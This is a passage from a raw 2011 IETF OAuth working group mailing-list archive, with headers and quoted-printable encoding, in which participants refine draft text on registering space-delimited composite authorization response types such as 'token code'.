=A0=A0=A0=A0=A0=A0=A0=A0 REQUIRED.=A0 The value MUST be one of &qu= ot;code" for requesting an

=A0= =A0=A0=A0=A0=A0=A0=A0 authorization code as described by Section 4.1.1, &qu= ot;token" for

=A0=A0=A0=A0=A0=A0=A0=A0 requesting an access token = (implicit grant) as described by

= =A0=A0=A0=A0=A0=A0=A0=A0 Section 4.2.1, or a registered extension value as = described by

=A0=A0=A0=A0=A0=A0=A0=A0 Section 8.4. A value containing one or more space = characters (%x25)

=A0=A0=A0=A0=A0= =A0=A0 =A0identifies a composite response type in which the order of the=

=A0=A0=A0=A0=A0=A0=A0=A0 space-delimited sub-values does not matter.=

=A0

=A0


___________________________________= ____________
OAuth mailing list
OAuth@ietf.org
h= ttps://www.ietf.org/mailman/listinfo/oauth




--
-------------------= -----------------------------------------------
Never send sensitive or = private information via email unless it is encrypted. http://www.gnupg.org
--001636d33ba7ac542704a86a8e8d-- From Michael.Jones@microsoft.com Tue Jul 19 08:46:30 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 24ECB21F8509 for ; Tue, 19 Jul 2011 08:46:30 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -10.448 X-Spam-Level: X-Spam-Status: No, score=-10.448 tagged_above=-999 required=5 tests=[AWL=0.150, BAYES_00=-2.599, HTML_MESSAGE=0.001, RCVD_IN_DNSWL_HI=-8] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id sTx4VLKYBy1f for ; Tue, 19 Jul 2011 08:46:27 -0700 (PDT) Received: from smtp.microsoft.com (mailc.microsoft.com [131.107.115.214]) by ietfa.amsl.com (Postfix) with ESMTP id 2A63521F84E5 for ; Tue, 19 Jul 2011 08:46:25 -0700 (PDT) Received: from TK5EX14HUBC107.redmond.corp.microsoft.com (157.54.80.67) by TK5-EXGWY-E803.partners.extranet.microsoft.com (10.251.56.169) with Microsoft SMTP Server (TLS) id 8.2.176.0; Tue, 19 Jul 2011 08:46:24 -0700 Received: from TK5EX14MBXC201.redmond.corp.microsoft.com ([169.254.8.198]) by TK5EX14HUBC107.redmond.corp.microsoft.com ([157.54.80.67]) with mapi id 14.01.0323.002; Tue, 19 Jul 2011 08:46:24 -0700 From: Mike Jones To: Aiden Bell , Eran Hammer-Lahav , "oauth@ietf.org" Thread-Topic: [OAUTH-WG] Proposed change to section 8.4. Defining New Authorization Endpoint Response Types Thread-Index: AcxF2IFuXcht7wZvT3mPDMC79ij6zgAapKcAAAYSxgA= Date: Tue, 19 Jul 2011 15:46:23 +0000 Message-ID: <4E1F6AAD24975D4BA5B168042967394348D52973@TK5EX14MBXC201.redmond.corp.microsoft.com> References: <90C41DD21FB7C64BB94121FBBC2E7234501D6E0653@P3PW5EX1MB01.EX1.SECURESERVER.NET> In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [157.54.51.32] Content-Type: multipart/alternative; boundary="_000_4E1F6AAD24975D4BA5B168042967394348D52973TK5EX14MBXC201r_" MIME-Version: 1.0 Subject: Re: [OAUTH-WG] Proposed change to section 8.4. Defining New Authorization Endpoint Response Types X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 19 Jul 2011 15:46:30 -0000 --_000_4E1F6AAD24975D4BA5B168042967394348D52973TK5EX14MBXC201r_ Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Thanks for making this change, Eran. I propose that we use Aiden's text, b= ecause I agree that it removes the ambiguity that he identified. -- Mike From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf Of A= iden Bell Sent: Tuesday, July 19, 2011 4:39 AM To: Eran Hammer-Lahav; oauth@ietf.org Subject: Re: [OAUTH-WG] Proposed change to section 8.4. Defining New Author= ization Endpoint Response Types I think the wording is much improved here with regards implied relationship= s between composite and non-composite types. However, given this new found unambiguity, I think the use of the term "com= posite response types" is misleading, as what is being described is just a characteristics of "identifiers containing spaces". This newest 8.3 = doesn't state if elements in the collection MUST also be registered. This leads me to (correctly?) think I can register a list of elements where= the components may or may not be registered themselves. In this case, we have a registered list of response type identifiers rather= than a list of response types registered. I would propose the following modification, which puts the policy-ish term = of "compounding" elements, more in the realm of registration, as the term "compounding" seem= s to imply compound semantics, but the registration part has a mechanism-not-policy approach. The space character (%x20) is reserved for defining a collection of resp= onse type identifiers. Each collection of response type identifiers MUST be registered, even if= each of its components are individually registered. The order of components in a response type = identifier collection does not matter. The meaning of unregistered collections of response typ= e identifiers made up of individually registered values is undefined. For example, the response type "token code" is left undefined by this sp= ecification. However, an extension can define and register the "token code" response = type identifier collection and its composite behavior. Once registered, the same combination cannot be registered as "code toke= n", but both values can be used to make an authorization request, and refer to t= he same response type. Apologies if this is unsuitable, i'm just looking at it as an implementor a= nd questioning my own assumptions, then trying to make the text clearer. The validity of my assumptions isn't = presumed. Thanks, Aiden Bell On 19 July 2011 07:21, Eran Hammer-Lahav > wrote: I have tried to accommodate both the use cases and concerns raised. The new= text allows the registration of composite response types in which the orde= r of the space-delimited values does not matter. However, every combination= must be registered in order to avoid developers guessing what an unregiste= red combination might mean. Feedback requested. EHL --- 8.4. Defining New Authorization Endpoint Response Types New response types for use with the authorization endpoint are defined and registered in the authorization endpoint response type registry following the procedure in Section 11.3. Response type names MUST conform to the response-type ABNF. response-type =3D response-name *( SP response-name ) response-name =3D 1*response-char response-char =3D "_" / DIGIT / ALPHA The space character (%x20) is reserved for defining composite response t= ypes. Each composite response types MUST be registered, even if each of its com= ponents are individually registered. The order of components in a composite resp= onse type does not matter. The meaning of unregistered composite response types ma= de up of individually registered values is undefined. For example, the response type "token code" is left undefined by this sp= ecification. However, an extension can define and register the "token code" response = type. Once registered, the same combination cannot be registered as "code token= ", but both values can be used to make an authorization request, and refer to t= he same response type. Also, change the definition of response_type in section 3.1.1: response_type REQUIRED. The value MUST be one of "code" for requesting an authorization code as described by Section 4.1.1, "token" for requesting an access token (implicit grant) as described by Section 4.2.1, or a registered extension value as described by Section 8.4. A value containing one or more space characters (%x25= ) identifies a composite response type in which the order of the space-delimited sub-values does not matter. _______________________________________________ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth -- ------------------------------------------------------------------ Never send sensitive or private information via email unless it is encrypte= d. http://www.gnupg.org --_000_4E1F6AAD24975D4BA5B168042967394348D52973TK5EX14MBXC201r_ Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

Thanks for making this ch= ange, Eran.  I propose that we use Aiden’s text, because I agree= that it removes the ambiguity that he identified.

 <= /p>

    &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p;            &= nbsp;     -- Mike

 <= /p>

From: oauth-bo= unces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf Of Aiden Bell
Sent: Tuesday, July 19, 2011 4:39 AM
To: Eran Hammer-Lahav; oauth@ietf.org
Subject: Re: [OAUTH-WG] Proposed change to section 8.4. Defining New= Authorization Endpoint Response Types

 


I think the wording is much improved here with regards implied relationship= s between composite and non-composite types.

However, given this new found unambiguity, I think the use of the term &quo= t;composite response types" is misleading, as what is being described = is
just a characteristics of "identifiers containing spaces". This n= ewest 8.3 doesn't state if elements in the collection MUST also be register= ed.
This leads me to (correctly?) think I can register a list of elements where= the components may or may not be registered themselves.
In this case, we have a registered list of response type identifiers rather= than a list of response types registered.

I would propose the following modification, which puts the policy-ish term = of "compounding"
elements, more in the realm of registration, as the term "compounding&= quot; seems to imply compound semantics, but the
registration part has a mechanism-not-policy approach.

 

   The space character (%x20) is reserved for defining a= collection of response type identifiers.

   Each collection of response type identifiers MUST be = registered, even if each of its components

   are individually registered. The order of components = in a response type identifier collection

   does not matter. The meaning of unregistered collecti= ons of response type identifiers made up of

   individually registered values is undefined.

 

   For example, the response type “token code̶= 1; is left undefined by this specification.

   However, an extension can define and register the &qu= ot;token code" response type identifier collection

   and its composite behavior.

   Once registered, the same combination cannot be regis= tered as "code token", but

   both values can be used to make an authorization requ= est, and refer to the same

   response= type.

Apologies if this is unsuitable, i'm just looking at it as an implementor a= nd questioning my own assumptions,
then trying to make the text clearer. The validity of my assumptions isn't = presumed.

Thanks,
Aiden Bell

On 19 July 2011 07:21, Eran Hammer-Lahav <eran@hueniverse.com> wrote:

I have tried to accommodate both the use cases and concerns raised= . The new text allows the registration of composite response types in which= the order of the space-delimited values does not matter. However, every combination must be registered in order to= avoid developers guessing what an unregistered combination might mean.

 

Feedback requested.

 

EHL

 

---

 

8.4.  Defining New Authorization Endpoint Response Types=

 

   New response types for use with the authorization end= point are

   defined and registered in the authorization endpoint = response type

   registry following the procedure in Section 11.3.&nbs= p; Response type

   names MUST conform to the response-type ABNF.

 

     response-type  =3D response-name *( = SP response-name )

     response-name  =3D 1*response-char

     response-char  =3D "_" / D= IGIT / ALPHA

 

   The space character (%x20) is reserved for defining c= omposite response types.

  Each composite response types MUST be registered, even= if each of its components

   are individually registered. The order of components = in a composite response type

   does not matter. The meaning of unregistered composit= e response types made up of

   individually registered values is undefined.

 

   For example, the response type “token code̶= 1; is left undefined by this specification.

   However, an extension can define and register the &qu= ot;token code" response type.

  Once registered, the same combination cannot be regist= ered as "code token", but

   both values can be used to make an authorization requ= est, and refer to the same

   response type.

 

Also, change the definition of response_type in section 3.1.1:

 

   response_type

         REQUIRED.  T= he value MUST be one of "code" for requesting an

         authorization cod= e as described by Section 4.1.1, "token" for

         requesting an acc= ess token (implicit grant) as described by

         Section 4.2.1, or= a registered extension value as described by

         Section 8.4. A va= lue containing one or more space characters (%x25)

         identifies a comp= osite response type in which the order of the

         space-delimited s= ub-values does not matter.

 

 


_______________________________________________
OAuth mailing list
OAuth@ietf.org
h= ttps://www.ietf.org/mailman/listinfo/oauth




--
------------------------------------------------------------------
Never send sensitive or private information via email unless it is encrypte= d. http://www.gnupg.org

--_000_4E1F6AAD24975D4BA5B168042967394348D52973TK5EX14MBXC201r_-- From eran@hueniverse.com Tue Jul 19 09:08:03 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 8F66B21F8582 for ; Tue, 19 Jul 2011 09:08:03 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.583 X-Spam-Level: X-Spam-Status: No, score=-2.583 tagged_above=-999 required=5 tests=[AWL=0.015, BAYES_00=-2.599, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id RcF+EHJ32dGF for ; Tue, 19 Jul 2011 09:07:59 -0700 (PDT) Received: from p3plex1out01.prod.phx3.secureserver.net (p3plex1out01.prod.phx3.secureserver.net [72.167.180.17]) by ietfa.amsl.com (Postfix) with SMTP id 7E11821F856D for ; Tue, 19 Jul 2011 09:07:59 -0700 (PDT) Received: (qmail 28934 invoked from network); 19 Jul 2011 16:07:58 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.19) by p3plex1out01.prod.phx3.secureserver.net with SMTP; 19 Jul 2011 16:07:58 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT001.EX1.SECURESERVER.NET ([72.167.180.19]) with mapi; Tue, 19 Jul 2011 09:07:37 -0700 From: Eran Hammer-Lahav To: Aiden Bell , "oauth@ietf.org" Date: Tue, 19 Jul 2011 09:07:12 -0700 Thread-Topic: [OAUTH-WG] Proposed change to section 8.4. Defining New Authorization Endpoint Response Types Thread-Index: AcxGCGm3P4qaZ5YTTP6j1ml/1EGPxwAJFgSA Message-ID: <90C41DD21FB7C64BB94121FBBC2E7234501D6E0715@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <90C41DD21FB7C64BB94121FBBC2E7234501D6E0653@P3PW5EX1MB01.EX1.SECURESERVER.NET> In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_90C41DD21FB7C64BB94121FBBC2E7234501D6E0715P3PW5EX1MB01E_" MIME-Version: 1.0 Subject: Re: [OAUTH-WG] Proposed change to section 8.4. Defining New Authorization Endpoint Response Types X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 19 Jul 2011 16:08:03 -0000 --_000_90C41DD21FB7C64BB94121FBBC2E7234501D6E0715P3PW5EX1MB01E_ Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable You understood it perfectly. Developers should focus only on the text in section 3.1.1, not 8.4 which is= meant for extension authors and DE(s). Please review the proposed text for= 3.1.1 and let me know if it provides you with all the information you need= in order to implement the protocol. I don't like the term collection. The meaning is very simple: * registered response types can include spaces * if a response type contains spaces, the order of its space-delimited valu= es does not matter * because order does not matter, only one order of each combination can be = registered, but all can be used There are no other implied requirements. You don't need to register the par= ts individually, only the combination. EHL From: Aiden Bell [mailto:aiden449@gmail.com] Sent: Tuesday, July 19, 2011 4:39 AM To: Eran Hammer-Lahav; oauth@ietf.org Subject: Re: [OAUTH-WG] Proposed change to section 8.4. Defining New Author= ization Endpoint Response Types I think the wording is much improved here with regards implied relationship= s between composite and non-composite types. However, given this new found unambiguity, I think the use of the term "com= posite response types" is misleading, as what is being described is just a characteristics of "identifiers containing spaces". This newest 8.3 = doesn't state if elements in the collection MUST also be registered. This leads me to (correctly?) think I can register a list of elements where= the components may or may not be registered themselves. In this case, we have a registered list of response type identifiers rather= than a list of response types registered. I would propose the following modification, which puts the policy-ish term = of "compounding" elements, more in the realm of registration, as the term "compounding" seem= s to imply compound semantics, but the registration part has a mechanism-not-policy approach. The space character (%x20) is reserved for defining a collection of resp= onse type identifiers. Each collection of response type identifiers MUST be registered, even if= each of its components are individually registered. The order of components in a response type = identifier collection does not matter. The meaning of unregistered collections of response typ= e identifiers made up of individually registered values is undefined. For example, the response type "token code" is left undefined by this sp= ecification. However, an extension can define and register the "token code" response = type identifier collection and its composite behavior. Once registered, the same combination cannot be registered as "code toke= n", but both values can be used to make an authorization request, and refer to t= he same response type. Apologies if this is unsuitable, i'm just looking at it as an implementor a= nd questioning my own assumptions, then trying to make the text clearer. The validity of my assumptions isn't = presumed. Thanks, Aiden Bell On 19 July 2011 07:21, Eran Hammer-Lahav > wrote: I have tried to accommodate both the use cases and concerns raised. The new= text allows the registration of composite response types in which the orde= r of the space-delimited values does not matter. However, every combination= must be registered in order to avoid developers guessing what an unregiste= red combination might mean. Feedback requested. EHL --- 8.4. Defining New Authorization Endpoint Response Types New response types for use with the authorization endpoint are defined and registered in the authorization endpoint response type registry following the procedure in Section 11.3. Response type names MUST conform to the response-type ABNF. response-type =3D response-name *( SP response-name ) response-name =3D 1*response-char response-char =3D "_" / DIGIT / ALPHA The space character (%x20) is reserved for defining composite response t= ypes. Each composite response types MUST be registered, even if each of its com= ponents are individually registered. The order of components in a composite resp= onse type does not matter. The meaning of unregistered composite response types ma= de up of individually registered values is undefined. For example, the response type "token code" is left undefined by this sp= ecification. However, an extension can define and register the "token code" response = type. Once registered, the same combination cannot be registered as "code token= ", but both values can be used to make an authorization request, and refer to t= he same response type. Also, change the definition of response_type in section 3.1.1: response_type REQUIRED. The value MUST be one of "code" for requesting an authorization code as described by Section 4.1.1, "token" for requesting an access token (implicit grant) as described by Section 4.2.1, or a registered extension value as described by Section 8.4. A value containing one or more space characters (%x25= ) identifies a composite response type in which the order of the space-delimited sub-values does not matter. _______________________________________________ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth -- ------------------------------------------------------------------ Never send sensitive or private information via email unless it is encrypte= d. http://www.gnupg.org --_000_90C41DD21FB7C64BB94121FBBC2E7234501D6E0715P3PW5EX1MB01E_ Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

You under= stood it perfectly.

 

Developers should focus= only on the text in section 3.1.1, not 8.4 which is meant for extension au= thors and DE(s). Please review the proposed text for 3.1.1 and let me know = if it provides you with all the information you need in order to implement = the protocol.

 <= /o:p>

I don’t like the term col= lection. The meaning is very simple:

 

* regist= ered response types can include spaces

* if a response type contains spaces, the order of its space-d= elimited values does not matter

<= span style=3D'font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F= 497D'>* because order does not matter, only one order of each combination c= an be registered, but all can be used

 

There a= re no other implied requirements. You don’t need to register the part= s individually, only the combination.

 

EHL

 

<= p class=3DMsoNormal> 

From: Aiden Bell [mailto:aiden449@gmail.com]
Sen= t: Tuesday, July 19, 2011 4:39 AM
To: Eran Hammer-Lahav; oaut= h@ietf.org
Subject: Re: [OAUTH-WG] Proposed change to section 8.4= . Defining New Authorization Endpoint Response Types

<= /div>

 

<= br>I think the wording is much improved here with regards implied relations= hips between composite and non-composite types.

However, given this = new found unambiguity, I think the use of the term "composite response= types" is misleading, as what is being described is
just a charact= eristics of "identifiers containing spaces". This newest 8.3 does= n't state if elements in the collection MUST also be registered.
This l= eads me to (correctly?) think I can register a list of elements where the c= omponents may or may not be registered themselves.
In this case, we hav= e a registered list of response type identifiers rather than a list of resp= onse types registered.

I would propose the following modification, w= hich puts the policy-ish term of "compounding"
elements, more= in the realm of registration, as the term "compounding" seems to= imply compound semantics, but the
registration part has a mechanism-not= -policy approach.

 

   The space= character (%x20) is reserved for defining a collection of response type id= entifiers.

   Each collection of response ty= pe identifiers MUST be registered, even if each of its components

   are individually registered. The order of componen= ts in a response type identifier collection

 &nbs= p; does not matter. The meaning of unregistered collections of response typ= e identifiers made up of

   individually reg= istered values is undefined.

 

   For example, the response type “token code” is = left undefined by this specification.

   How= ever, an extension can define and register the "token code" respo= nse type identifier collection

   and its co= mposite behavior.

   Once registered, the sa= me combination cannot be registered as "code token", but

   both values can be used to make an authorization = request, and refer to the same

   response type.

Apologies if this = is unsuitable, i'm just looking at it as an implementor and questioning my = own assumptions,
then trying to make the text clearer. The validity of m= y assumptions isn't presumed.

Thanks,
Aiden Bell

On 19 July 2011 07:21, Eran Hammer-Lahav <eran@hueniverse.com> wrote:

I have tried to accommodate both the use cases and = concerns raised. The new text allows the registration of composite response= types in which the order of the space-delimited values does not matter. Ho= wever, every combination must be registered in order to avoid developers gu= essing what an unregistered combination might mean.

&= nbsp;

Feedback requested.

 <= o:p>

EHL

 

-= --

 

8.4.  Defining New= Authorization Endpoint Response Types

 

   New response types for use with the authorization= endpoint are

   defined and registered in t= he authorization endpoint response type

   r= egistry following the procedure in Section 11.3.  Response type

   names MUST conform to the response-type ABNF.

 

     re= sponse-type  =3D response-name *( SP response-name )

     response-name  =3D 1*response-char

     response-char  =3D "_&quo= t; / DIGIT / ALPHA

 

 &= nbsp; The space character (%x20) is reserved for defining composite respons= e types.

  Each composite response types MUS= T be registered, even if each of its components

 =   are individually registered. The order of components in a composite = response type

   does not matter. The meanin= g of unregistered composite response types made up of

=    individually registered values is undefined.

 

   For example, the response type= “token code” is left undefined by this specification.

   However, an extension can define and register the= "token code" response type.

  Onc= e registered, the same combination cannot be registered as "code token= ", but

   both values can be used to ma= ke an authorization request, and refer to the same

&= nbsp;  response type.

 

Also, change the definition of response_type in section 3.1.1:<= /p>

 

   response_type=

         REQUIRED. = The value MUST be one of "code" for requesting an

=

         authorization code = as described by Section 4.1.1, "token" for

&= nbsp;        requesting an access token = (implicit grant) as described by

   &= nbsp;     Section 4.2.1, or a registered extension valu= e as described by

      =    Section 8.4. A value containing one or more space characters (= %x25)

         = ;identifies a composite response type in which the order of the<= /p>

         space-delimited = sub-values does not matter.

 

 


_______________________________________________
OAuth ma= iling list
OAuth@ietf.org
https:= //www.ietf.org/mailman/listinfo/oauth




--
------------------------------------= ------------------------------
Never send sensitive or private informati= on via email unless it is encrypted. http:= //www.gnupg.org

= --_000_90C41DD21FB7C64BB94121FBBC2E7234501D6E0715P3PW5EX1MB01E_-- From eran@hueniverse.com Tue Jul 19 09:25:00 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 148E21F0C3B for ; Tue, 19 Jul 2011 09:25:00 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.584 X-Spam-Level: X-Spam-Status: No, score=-2.584 tagged_above=-999 required=5 tests=[AWL=0.015, BAYES_00=-2.599] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id o25AmF0PInzW for ; Tue, 19 Jul 2011 09:24:59 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id 3103F1F0C37 for ; Tue, 19 Jul 2011 09:24:59 -0700 (PDT) Received: (qmail 15843 invoked from network); 19 Jul 2011 16:24:58 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.19) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 19 Jul 2011 16:24:58 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT001.EX1.SECURESERVER.NET ([72.167.180.19]) with mapi; Tue, 19 Jul 2011 09:24:51 -0700 From: Eran Hammer-Lahav To: OAuth WG Date: Tue, 19 Jul 2011 09:24:27 -0700 Thread-Topic: [OAUTH-WG] Proposed change to section 8.4. Defining New Authorization Endpoint Response Types Thread-Index: AcxF2IFuXcht7wZvT3mPDMC79ij6zgAVXKWw Message-ID: <90C41DD21FB7C64BB94121FBBC2E7234501D6E0720@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <90C41DD21FB7C64BB94121FBBC2E7234501D6E0653@P3PW5EX1MB01.EX1.SECURESERVER.NET> In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E7234501D6E0653@P3PW5EX1MB01.EX1.SECURESERVER.NET> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Subject: Re: [OAUTH-WG] Proposed change to section 8.4. Defining New Authorization Endpoint Response Types X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 19 Jul 2011 16:25:00 -0000 Revised text. I changed it to focus on the implementation details. In other words, all response types must be registered. If the type name inc= ludes spaces, it changes how the value is compared (space-delimited list of= values where the order does not matter). That's it. Spaces only change how= values are compared. EHL --- 8.4.=A0 Defining New Authorization Endpoint Response Types =A0=A0 New response types for use with the authorization endpoint are =A0=A0 defined and registered in the authorization endpoint response type =A0=A0 registry following the procedure in Section 11.3.=A0 Response type =A0=A0 names MUST conform to the response-type ABNF. =A0=A0=A0=A0 response-type=A0 =3D response-name *( SP response-name ) =A0=A0=A0=A0 response-name=A0 =3D 1*response-char =A0=A0=A0=A0 response-char=A0 =3D "_" / DIGIT / ALPHA =A0 If a response type contains one of more space characters (%x20), it is compared as a space-delimited list of values in which the order of value= s does not matter. Only one order of values can be registered, which cover= s all other arrangements of the same set of values. =A0=A0 For example, the response type "token code" is left undefined by thi= s specification. =A0 =A0However, an extension can define and register the "token code" respo= nse type. =A0=A0 Once registered, the same combination cannot be registered as "code = token", but =A0 =A0both values can be used to denote the same response type. Also, change the definition of response_type in section 3.1.1: =A0=A0 response_type =A0=A0=A0=A0=A0=A0=A0=A0 REQUIRED.=A0 The value MUST be one of "code" for r= equesting an =A0=A0=A0=A0=A0=A0=A0=A0 authorization code as described by Section 4.1.1, = "token" for =A0=A0=A0=A0=A0=A0=A0=A0 requesting an access token (implicit grant) as des= cribed by =A0=A0=A0=A0=A0=A0=A0=A0 Section 4.2.1, or a registered extension value as = described by =A0=A0=A0=A0=A0=A0=A0=A0 Section 8.4. If the response type contains one or = more space characters (%x20), it is interpreted as a space-delimited list of values, whe= re the order of values does not matter (e.g. "a b" is the same as "b = a"). From Michael.Jones@microsoft.com Tue Jul 19 09:33:45 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 890CF1F0C3B for ; Tue, 19 Jul 2011 09:33:45 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -10.463 X-Spam-Level: X-Spam-Status: No, score=-10.463 tagged_above=-999 required=5 tests=[AWL=0.136, BAYES_00=-2.599, RCVD_IN_DNSWL_HI=-8] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id rxWPLfPFiP-t for ; Tue, 19 Jul 2011 09:33:45 -0700 (PDT) Received: from smtp.microsoft.com (mail2.microsoft.com [131.107.115.215]) by ietfa.amsl.com (Postfix) with ESMTP id 2E52F1F0C37 for ; Tue, 19 Jul 2011 09:33:37 -0700 (PDT) Received: from TK5EX14HUBC106.redmond.corp.microsoft.com (157.54.80.61) by TK5-EXGWY-E802.partners.extranet.microsoft.com (10.251.56.168) with Microsoft SMTP Server (TLS) id 8.2.176.0; Tue, 19 Jul 2011 09:33:36 -0700 Received: from TK5EX14MBXC201.redmond.corp.microsoft.com ([169.254.8.198]) by TK5EX14HUBC106.redmond.corp.microsoft.com ([157.54.80.61]) with mapi id 14.01.0323.002; Tue, 19 Jul 2011 09:33:36 -0700 From: Mike Jones To: Eran Hammer-Lahav , OAuth WG Thread-Topic: [OAUTH-WG] Proposed change to section 8.4. Defining New Authorization Endpoint Response Types Thread-Index: AcxF2IFuXcht7wZvT3mPDMC79ij6zgAVXKWwAADpQAA= Date: Tue, 19 Jul 2011 16:33:35 +0000 Message-ID: <4E1F6AAD24975D4BA5B168042967394348D52D1F@TK5EX14MBXC201.redmond.corp.microsoft.com> References: <90C41DD21FB7C64BB94121FBBC2E7234501D6E0653@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E7234501D6E0720@P3PW5EX1MB01.EX1.SECURESERVER.NET> In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E7234501D6E0720@P3PW5EX1MB01.EX1.SECURESERVER.NET> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [157.54.51.35] Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Subject: Re: [OAUTH-WG] Proposed change to section 8.4. Defining New Authorization Endpoint Response Types X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 19 Jul 2011 16:33:45 -0000 Good -----Original Message----- From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf Of E= ran Hammer-Lahav Sent: Tuesday, July 19, 2011 9:24 AM To: OAuth WG Subject: Re: [OAUTH-WG] Proposed change to section 8.4. Defining New Author= ization Endpoint Response Types Revised text. I changed it to focus on the implementation details. In other words, all response types must be registered. If the type name inc= ludes spaces, it changes how the value is compared (space-delimited list of= values where the order does not matter). That's it. Spaces only change how= values are compared. EHL --- 8.4.=A0 Defining New Authorization Endpoint Response Types =A0=A0 New response types for use with the authorization endpoint are =A0=A0 defined and registered in the authorization endpoint response type =A0=A0 registry following the procedure in Section 11.3.=A0 Response type =A0=A0 names MUST conform to the response-type ABNF. =A0=A0=A0=A0 response-type=A0 =3D response-name *( SP response-name ) =A0=A0=A0=A0 response-name=A0 =3D 1*response-char =A0=A0=A0=A0 response-char=A0 =3D "_" / DIGIT / ALPHA =A0 If a response type contains one of more space characters (%x20), it is compared as a space-delimited list of values in which the order of value= s does not matter. Only one order of values can be registered, which cover= s all other arrangements of the same set of values. =A0=A0 For example, the response type "token code" is left undefined by thi= s specification. =A0 =A0However, an extension can define and register the "token code" respo= nse type. =A0=A0 Once registered, the same combination cannot be registered as "code = token", but =A0 =A0both values can be used to denote the same response type. Also, change the definition of response_type in section 3.1.1: =A0=A0 response_type =A0=A0=A0=A0=A0=A0=A0=A0 REQUIRED.=A0 The value MUST be one of "code" for r= equesting an =A0=A0=A0=A0=A0=A0=A0=A0 authorization code as described by Section 4.1.1, = "token" for =A0=A0=A0=A0=A0=A0=A0=A0 requesting an access token (implicit grant) as des= cribed by =A0=A0=A0=A0=A0=A0=A0=A0 Section 4.2.1, or a registered extension value as = described by =A0=A0=A0=A0=A0=A0=A0=A0 Section 8.4. If the response type contains one or = more space characters (%x20), it is interpreted as a space-delimited list of values, whe= re the order of values does not matter (e.g. "a b" is the same as "b = a"). _______________________________________________ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth From aiden449@gmail.com Tue Jul 19 10:08:24 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: 